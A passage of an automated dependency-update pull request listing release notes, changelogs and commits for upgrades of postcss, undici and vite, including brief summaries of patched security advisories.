href=\"https://github.com/catnipan\"\u003e\u003ccode\u003e@​catnipan\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.2\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed end position of rules with semicolon (by \u003ca href=\"https://github.com/romainmenke\"\u003e\u003ccode\u003e@​romainmenke\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.1\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed backwards compatibility for complex cases (by \u003ca href=\"https://github.com/romainmenke\"\u003e\u003ccode\u003e@​romainmenke\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5 “Duke Alloces”\u003c/h2\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003cp\u003ePostCSS 8.5 brought API to work better with non-CSS sources like HTML, Vue.js/Svelte sources or CSS-in-JS.\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/romainmenke\"\u003e\u003ccode\u003e@​romainmenke\u003c/code\u003e\u003c/a\u003e during \u003ca href=\"https://redirect.github.com/postcss/postcss/issues/1995\"\u003ehis work\u003c/a\u003e on \u003ca href=\"https://stylelint.io\"\u003eStylelint\u003c/a\u003e added \u003ccode\u003eInput#document\u003c/code\u003e in additional to \u003ccode\u003eInput#css\u003c/code\u003e.\u003c/p\u003e\n\u003cpre lang=\"js\"\u003e\u003ccode\u003eroot.source.input.document //=\u0026gt; \u0026quot;\u0026lt;p\u0026gt;Hello\u0026lt;/p\u0026gt;\r\n                           //    \u0026lt;style\u0026gt;\r\n                           //    p {\r\n                           //      color: green;\r\n                           //    }\r\n                           //    \u0026lt;/style\u0026gt;\u0026quot;\r\nroot.source.input.css      //=\u0026gt; \u0026quot;p {\r\n                           //      color: green;\r\n                           //    }\u0026quot;\r\n\u003cp\u003e\u0026lt;/tr\u0026gt;\u0026lt;/table\u0026gt;\u003cbr /\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/postcss/postcss/blob/main/CHANGELOG.md\"\u003epostcss's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e8.5.10\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed XSS via unescaped \u003ccode\u003e\u0026lt;/style\u0026gt;\u003c/code\u003e in non-bundler cases (by \u003ca href=\"https://github.com/TharVid\"\u003e\u003ccode\u003e@​TharVid\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.9\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eSpeed up source map encoding paring in case of the error.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.8\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003eProcessor#version\u003c/code\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.7\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImproved source map annotation cleaning performance (by CodeAnt AI).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.6\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003eContainerWithChildren\u003c/code\u003e type discriminating (by \u003ca href=\"https://github.com/Goodwine\"\u003e\u003ccode\u003e@​Goodwine\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.5\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003epackage.json\u003c/code\u003e→\u003ccode\u003eexports\u003c/code\u003e compatibility with some tools (by \u003ca href=\"https://github.com/JounQin\"\u003e\u003ccode\u003e@​JounQin\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.4\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed Parcel compatibility issue (by \u003ca href=\"https://github.com/git-sumitchaudhary\"\u003e\u003ccode\u003e@​git-sumitchaudhary\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.3\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAdded more details to \u003ccode\u003eUnknown word\u003c/code\u003e error (by \u003ca href=\"https://github.com/hiepxanh\"\u003e\u003ccode\u003e@​hiepxanh\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed types (by \u003ca href=\"https://github.com/romainmenke\"\u003e\u003ccode\u003e@​romainmenke\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed docs (by \u003ca href=\"https://github.com/catnipan\"\u003e\u003ccode\u003e@​catnipan\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.2\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed end position of rules with semicolon (by \u003ca href=\"https://github.com/romainmenke\"\u003e\u003ccode\u003e@​romainmenke\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.1\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed backwards compatibility for complex cases (by \u003ca href=\"https://github.com/romainmenke\"\u003e\u003ccode\u003e@​romainmenke\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5 “Duke Alloces”\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAdded \u003ccode\u003eInput#document\u003c/code\u003e for sources like CSS-in-JS or HTML (by \u003ca href=\"https://github.com/romainmenke\"\u003e\u003ccode\u003e@​romainmenke\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.4.49\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed custom syntax without \u003ccode\u003esource.offset\u003c/code\u003e (by \u003ca href=\"https://github.com/romainmenke\"\u003e\u003ccode\u003e@​romainmenke\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/33b9790263dc1562a46ce45d9532bd63e95b7986\"\u003e\u003ccode\u003e33b9790\u003c/code\u003e\u003c/a\u003e Release 8.5.10 version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/536c79e4b01e58a3a56b09c3c0cf2323f4b9a28b\"\u003e\u003ccode\u003e536c79e\u003c/code\u003e\u003c/a\u003e Escape \u0026lt;/style\u0026gt; in CSS output (\u003ca href=\"https://redirect.github.com/postcss/postcss/issues/2074\"\u003e#2074\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/afa96b2a139ce625c4d27973313479c7c85f39d4\"\u003e\u003ccode\u003eafa96b2\u003c/code\u003e\u003c/a\u003e Update dependencies (\u003ca href=\"https://redirect.github.com/postcss/postcss/issues/2073\"\u003e#2073\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/effe88bb87cabdc1876e02adbdd30f392f19f40d\"\u003e\u003ccode\u003eeffe88b\u003c/code\u003e\u003c/a\u003e Typo (\u003ca href=\"https://redirect.github.com/postcss/postcss/issues/2072\"\u003e#2072\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/3ee79a2c4a11e41d52db50b444eebe38299495ad\"\u003e\u003ccode\u003e3ee79a2\u003c/code\u003e\u003c/a\u003e Thread model (\u003ca href=\"https://redirect.github.com/postcss/postcss/issues/2071\"\u003e#2071\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/2e0683daca4dc2919211b03774f6b2d137136c01\"\u003e\u003ccode\u003e2e0683d\u003c/code\u003e\u003c/a\u003e Create incident response docs (\u003ca href=\"https://redirect.github.com/postcss/postcss/issues/2070\"\u003e#2070\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/fe88ac29c06b7b218be32994cdc6ca1525bdf2c9\"\u003e\u003ccode\u003efe88ac2\u003c/code\u003e\u003c/a\u003e Release 8.5.9 version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/c551632496b87ab3f1965bfda5dc386b6c71963e\"\u003e\u003ccode\u003ec551632\u003c/code\u003e\u003c/a\u003e Avoid RegExp when we can use simple JS\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/89a6b744060eb8dee743351c785a9fbe37d4525a\"\u003e\u003ccode\u003e89a6b74\u003c/code\u003e\u003c/a\u003e Move SECURITY.txt for docs folder to keep GitHub page cleaner\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/6ceb8a46af9f9de821faee98f861bdf84617347b\"\u003e\u003ccode\u003e6ceb8a4\u003c/code\u003e\u003c/a\u003e Create SECURITY.md\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/postcss/postcss/compare/8.4.33...8.5.10\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `undici` from 5.28.2 to 6.27.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/nodejs/undici/releases\"\u003eundici's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev6.27.0\u003c/h2\u003e\n\u003ch1\u003e⚠️ Security Release\u003c/h1\u003e\n\u003cp\u003eThis release line addresses \u003cstrong\u003e4 security advisories\u003c/strong\u003e.\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e\u003cstrong\u003eAction required:\u003c/strong\u003e Upgrade to \u003cstrong\u003eundici 6.27.0\u003c/strong\u003e or later.\u003c/p\u003e\n\u003cpre lang=\"sh\"\u003e\u003ccode\u003enpm install undici@^6.27.0\n\u003c/code\u003e\u003c/pre\u003e\n\u003c/blockquote\u003e\n\u003cblockquote\u003e\n\u003cp\u003e\u003cstrong\u003eNote on patched version:\u003c/strong\u003e the v6 fixes shipped in \u003cstrong\u003ev6.27.0\u003c/strong\u003e, not \u003ccode\u003e6.26.0\u003c/code\u003e\n— \u003ccode\u003ev6.26.0\u003c/code\u003e contains only the chunked-EOF fix (\u003ca href=\"https://redirect.github.com/nodejs/undici/issues/5308\"\u003e#5308\u003c/a\u003e) and the version bump, none\nof the security fixes below.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003eThe v6 line is \u003cstrong\u003enot\u003c/strong\u003e affected by the SOCKS5 advisories (GHSA-vmh5-mc38-953g,\nGHSA-hm92-r4w5-c3mj), the shared-cache disclosure (GHSA-pr7r-676h-xcf6), or the\n8.x-only WebSocket regression (GHSA-38rv-x7px-6hhq).\u003c/p\u003e\n\u003ch2\u003eSummary\u003c/h2\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth\u003eAdvisory\u003c/th\u003e\n\u003cth\u003eCVE\u003c/th\u003e\n\u003cth\u003eSeverity (CVSS)\u003c/th\u003e\n\u003cth\u003eFixed in\u003c/th\u003e\n\u003cth\u003eFix commit\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd\u003e\u003ca href=\"https://github.com/nodejs/undici/security/advisories/GHSA-vxpw-j846-p89q\"\u003eGHSA-vxpw-j846-p89q\u003c/a\u003e\u003c/td\u003e\n\u003ctd\u003eCVE-2026-12151\u003c/td\u003e\n\u003ctd\u003eHigh (7.5)\u003c/td\u003e\n\u003ctd\u003e6.27.0\u003c/td\u003e\n\u003ctd\u003e\u003ca href=\"https://github.com/nodejs/undici/commit/b7f252e7\"\u003e\u003ccode\u003eb7f252e7\u003c/code\u003e\u003c/a\u003e\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e\u003ca href=\"https://github.com/nodejs/undici/security/advisories/GHSA-p88m-4jfj-68fv\"\u003eGHSA-p88m-4jfj-68fv\u003c/a\u003e\u003c/td\u003e\n\u003ctd\u003eCVE-2026-9679\u003c/td\u003e\n\u003ctd\u003eModerate (5.9)\u003c/td\u003e\n\u003ctd\u003e6.27.0\u003c/td\u003e\n\u003ctd\u003e\u003ca href=\"https://github.com/nodejs/undici/commit/25efa447\"\u003e\u003ccode\u003e25efa447\u003c/code\u003e\u003c/a\u003e\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e\u003ca href=\"https://github.com/nodejs/undici/security/advisories/GHSA-g8m3-5g58-fq7m\"\u003eGHSA-g8m3-5g58-fq7m\u003c/a\u003e\u003c/td\u003e\n\u003ctd\u003eCVE-2026-11525\u003c/td\u003e\n\u003ctd\u003eLow (3.7)\u003c/td\u003e\n\u003ctd\u003e6.27.0\u003c/td\u003e\n\u003ctd\u003e\u003ca href=\"https://github.com/nodejs/undici/commit/25efa447\"\u003e\u003ccode\u003e25efa447\u003c/code\u003e\u003c/a\u003e\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e\u003ca href=\"https://github.com/nodejs/undici/security/advisories/GHSA-35p6-xmwp-9g52\"\u003eGHSA-35p6-xmwp-9g52\u003c/a\u003e\u003c/td\u003e\n\u003ctd\u003eCVE-2026-6733\u003c/td\u003e\n\u003ctd\u003eLow (3.7)\u003c/td\u003e\n\u003ctd\u003e6.27.0\u003c/td\u003e\n\u003ctd\u003e\u003ca href=\"https://github.com/nodejs/undici/commit/f4c31d60\"\u003e\u003ccode\u003ef4c31d60\u003c/code\u003e\u003c/a\u003e\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003chr /\u003e\n\u003ch2\u003eHigh severity\u003c/h2\u003e\n\u003ch3\u003eWebSocket DoS via fragment count bypass — CVE-2026-12151\u003c/h3\u003e\n\u003cp\u003e\u003cstrong\u003e\u003ca href=\"https://github.com/nodejs/undici/security/advisories/GHSA-vxpw-j846-p89q\"\u003eGHSA-vxpw-j846-p89q\u003c/a\u003e\u003c/strong\u003e · CWE-400, CWE-770\n\u003cstrong\u003eFix:\u003c/strong\u003e \u003ca href=\"https://github.com/nodejs/undici/commit/b7f252e7\"\u003e\u003ccode\u003eb7f252e7\u003c/code\u003e\u003c/a\u003e \u003cem\u003eBackport WebSocket maxPayloadSize fixes\u003c/em\u003e (\u003ca href=\"https://redirect.github.com/nodejs/undici/pull/5423\"\u003e#5423\u003c/a\u003e, backported to v6 in \u003ca href=\"https://redirect.github.com/nodejs/undici/pull/5428\"\u003e#5428\u003c/a\u003e)\u003c/p\u003e\n\u003cp\u003eA malicious WebSocket server can stream a large number of small or empty\ncontinuation frames. Undici enforced a limit on cumulative payload size but did\nnot limit the \u003cem\u003enumber\u003c/em\u003e of fragments per message, leading to unbounded memory\ngrowth and denial of service. All releases from 6.17.0 onward are affected.\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eAffected:\u003c/strong\u003e applications using \u003ccode\u003enew WebSocket(...)\u003c/code\u003e or \u003ccode\u003eWebSocketStream\u003c/code\u003e\nagainst untrusted endpoints.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eWorkaround:\u003c/strong\u003e none — upgrade is required.\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr /\u003e\n\u003ch2\u003eModerate severity\u003c/h2\u003e\n\u003ch3\u003eHTTP header injection via Set-Cookie percent-decoding — CVE-2026-9679\u003c/h3\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nodejs/undici/commit/551138cbc1742c92242a68216167761075e8a82c\"\u003e\u003ccode\u003e551138c\u003c/code\u003e\u003c/a\u003e Bumped v6.27.0 (\u003ca href=\"https://redirect.github.com/nodejs/undici/issues/5431\"\u003e#5431\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nodejs/undici/commit/b7f252e7c0841418fb9d95cd297bdd9fad9d2a53\"\u003e\u003ccode\u003eb7f252e\u003c/code\u003e\u003c/a\u003e Backport WebSocket maxPayloadSize fixes to v7.x (\u003ca href=\"https://redirect.github.com/nodejs/undici/issues/5423\"\u003e#5423\u003c/a\u003e) (\u003ca href=\"https://redirect.github.com/nodejs/undici/issues/5428\"\u003e#5428\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nodejs/undici/commit/25efa447997f74d5881edd144525c3fd7db945a4\"\u003e\u003ccode\u003e25efa44\u003c/code\u003e\u003c/a\u003e fix(cookies): preserve values and parse SameSite strictly\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nodejs/undici/commit/f4c31d60c42d0385bca6ad602c112706b0695212\"\u003e\u003ccode\u003ef4c31d6\u003c/code\u003e\u003c/a\u003e fix: guard idle socket validation to skip fresh sockets (\u003ca href=\"https://redirect.github.com/nodejs/undici/issues/5400\"\u003e#5400\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nodejs/undici/commit/768beacd331786c6a1ca61dd81938fca041a45b5\"\u003e\u003ccode\u003e768beac\u003c/code\u003e\u003c/a\u003e Bumped v6.26.0 (\u003ca href=\"https://redirect.github.com/nodejs/undici/issues/5323\"\u003e#5323\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nodejs/undici/commit/7917b254484132f848fb785afbc398b1cfba389f\"\u003e\u003ccode\u003e7917b25\u003c/code\u003e\u003c/a\u003e fix: validate EOF for chunked h1 responses (\u003ca href=\"https://redirect.github.com/nodejs/undici/issues/5308\"\u003e#5308\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nodejs/undici/commit/3420499cad88e72e04972b7bb28dd9f2ec2638ac\"\u003e\u003ccode\u003e3420499\u003c/code\u003e\u003c/a\u003e Bumped v6.25.0 (\u003ca href=\"https://redirect.github.com/nodejs/undici/issues/5029\"\u003e#5029\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nodejs/undici/commit/d7a1e55fbe9607e8b56a10b4be129ca63d16014b\"\u003e\u003ccode\u003ed7a1e55\u003c/code\u003e\u003c/a\u003e feat: add configurable maxPayloadSize for WebSocket (\u003ca href=\"https://redirect.github.com/nodejs/undici/issues/4955\"\u003e#4955\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nodejs/undici/commit/a9d1848fa18d351813e9563bb7653acf1e3c60ad\"\u003e\u003ccode\u003ea9d1848\u003c/code\u003e\u003c/a\u003e Do not mark v6.x releases as latest\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nodejs/undici/commit/01265866974369f75f939109969097e45e72b1e1\"\u003e\u003ccode\u003e0126586\u003c/code\u003e\u003c/a\u003e Ignore local agent configuration files\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/nodejs/undici/compare/v5.28.2...v6.27.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by \u003ca href=\"https://www.npmjs.com/~GitHub%20Actions\"\u003eGitHub Actions\u003c/a\u003e, a new releaser for undici since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eInstall script changes\u003c/summary\u003e\n\u003cp\u003eThis version modifies \u003ccode\u003eprepare\u003c/code\u003e script that runs during installation. Review the package contents before updating.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `vite` from 4.5.2 to 6.4.3\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vitejs/vite/releases\"\u003evite's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev6.4.3\u003c/h2\u003e\n\u003cp\u003ePlease refer to \u003ca href=\"https://github.com/vitejs/vite/blob/v6.4.3/packages/vite/CHANGELOG.md\"\u003eCHANGELOG.md\u003c/a\u003e for details.\u003c/p\u003e\n\u003ch2\u003ev6.4.2\u003c/h2\u003e\n\u003cp\u003ePlease refer to \u003ca href=\"https://github.com/vitejs/vite/blob/v6.4.2/packages/vite/CHANGELOG.md\"\u003eCHANGELOG.md\u003c/a\u003e for details.\u003c/p\u003e\n\u003ch2\u003ev6.4.1\u003c/h2\u003e\n\u003cp\u003ePlease refer to \u003ca href=\"https://github.com/vitejs/vite/blob/v6.4.1/packages/vite/CHANGELOG.md\"\u003eCHANGELOG.md\u003c/a\u003e for details.\u003c/p\u003e\n\u003ch2\u003ev6.4.0\u003c/h2\u003e\n\u003cp\u003ePlease refer to \u003ca href=\"https://github.com/vitejs/vite/blob/v6.4.0/packages/vite/CHANGELOG.md\"\u003eCHANGELOG.md\u003c/a\u003e for details.\u003c/p\u003e\n\u003ch2\u003ev6.3.7\u003c/h2\u003e\n\u003cp\u003ePlease refer to \u003ca href=\"https://github.com/vitejs/vite/blob/v6.3.7/packages/vite/CHANGELOG.md\"\u003eCHANGELOG.md\u003c/a\u003e for details.\u003c/p\u003e\n\u003ch2\u003ev5.4.21\u003c/h2\u003e\n\u003cp\u003ePlease refer to \u003ca href=\"https://github.com/vitejs/vite/blob/v5.4.21/packages/vite/CHANGELOG.md\"\u003eCHANGELOG.md\u003c/a\u003e for details.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vitejs/vite/blob/v6.4.3/packages/vite/CHANGELOG.md\"\u003evite's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e\u003c!-- raw HTML omitted --\u003e6.4.3 (2026-06-01)\u003c!-- raw HTML omitted --\u003e\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: backport \u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/22572\"\u003e#22572\u003c/a\u003e, reject windows alternate paths (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/22576\"\u003e#22576\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/96b0c10162e9c55485d922db2cfc6b8227cbc176\"\u003e96b0c10\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/vitejs/vite/issues/22572\"\u003e#22572\u003c/a\u003e \u003ca href=\"https://redirect.github.com/vitejs/vite/issues/22576\"\u003e#22576\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(deps): backport \u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/22571\"\u003e#22571\u003c/a\u003e, reject UNC paths for launch-editor-middleware (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/22575\"\u003e#22575\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/8fed5cf540c0d475266787f52072f258478cd42f\"\u003e8fed5cf\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/vitejs/vite/issues/22571\"\u003e#22571\u003c/a\u003e \u003ca href=\"https://redirect.github.com/vitejs/vite/issues/22575\"\u003e#22575\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003c!-- raw HTML omitted --\u003e6.4.2 (2026-04-06)\u003c!-- raw HTML omitted --\u003e\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: apply server.fs check to env transport (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/22159\"\u003e#22159\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/22163\"\u003e#22163\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/fe28e47e9463e4c9619f94bfa06d2f8f1411b44b\"\u003efe28e47\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/vitejs/vite/issues/22159\"\u003e#22159\u003c/a\u003e \u003ca href=\"https://redirect.github.com/vitejs/vite/issues/22163\"\u003e#22163\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: avoid path traversal with optimize deps sourcemap handler (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/22161\"\u003e#22161\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/ca4da5d1fb45c9cfdce606aa30825095791b164b\"\u003eca4da5d\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/vitejs/vite/issues/22161\"\u003e#22161\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003c!-- raw HTML omitted --\u003e6.4.1 (2025-10-20)\u003c!-- raw HTML omitted --\u003e\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix(dev): trim trailing slash before \u003ccode\u003eserver.fs.deny\u003c/code\u003e check (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/20968\"\u003e#20968\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/20969\"\u003e#20969\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/1114b5d7ea03e26572708715343bec69db4536e8\"\u003e1114b5d\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/vitejs/vite/issues/20968\"\u003e#20968\u003c/a\u003e \u003ca href=\"https://redirect.github.com/vitejs/vite/issues/20969\"\u003e#20969\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e6.4.0 (2025-10-15)\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: allow passing down resolved config to vite's createServer (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/20932\"\u003e#20932\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/ca6455ee9eb6111a9caa9810506a1b9ac96a520a\"\u003eca6455e\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/vitejs/vite/issues/20932\"\u003e#20932\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003c!-- raw HTML omitted --\u003e6.3.7 (2025-10-14)\u003c!-- raw HTML omitted --\u003e\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix(esbuild): inject esbuild helpers correctly for esbuild 0.25.9+ (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/20940\"\u003e#20940\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/c59a222aa584c087cfe710173de1b9ecb597a3ff\"\u003ec59a222\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/vitejs/vite/issues/20940\"\u003e#20940\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003c!-- raw HTML omitted --\u003e6.3.6 (2025-09-08)\u003c!-- raw HTML omitted --\u003e\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: apply \u003ccode\u003efs.strict\u003c/code\u003e check to HTML files (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/20736\"\u003e#20736\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/0ab19ea9fcb66f544328f442cf6e70f7c0528d5f\"\u003e0ab19ea\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/vitejs/vite/issues/20736\"\u003e#20736\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: upgrade sirv to 3.0.2 (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/20735\"\u003e#20735\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/e11d24008b97d4ca731ecc1a3b95260a6d12e7e0\"\u003ee11d240\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/vitejs/vite/issues/20735\"\u003e#20735\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003etest: detect ts support via \u003ccode\u003eprocess.features\u003c/code\u003e (\u003ca 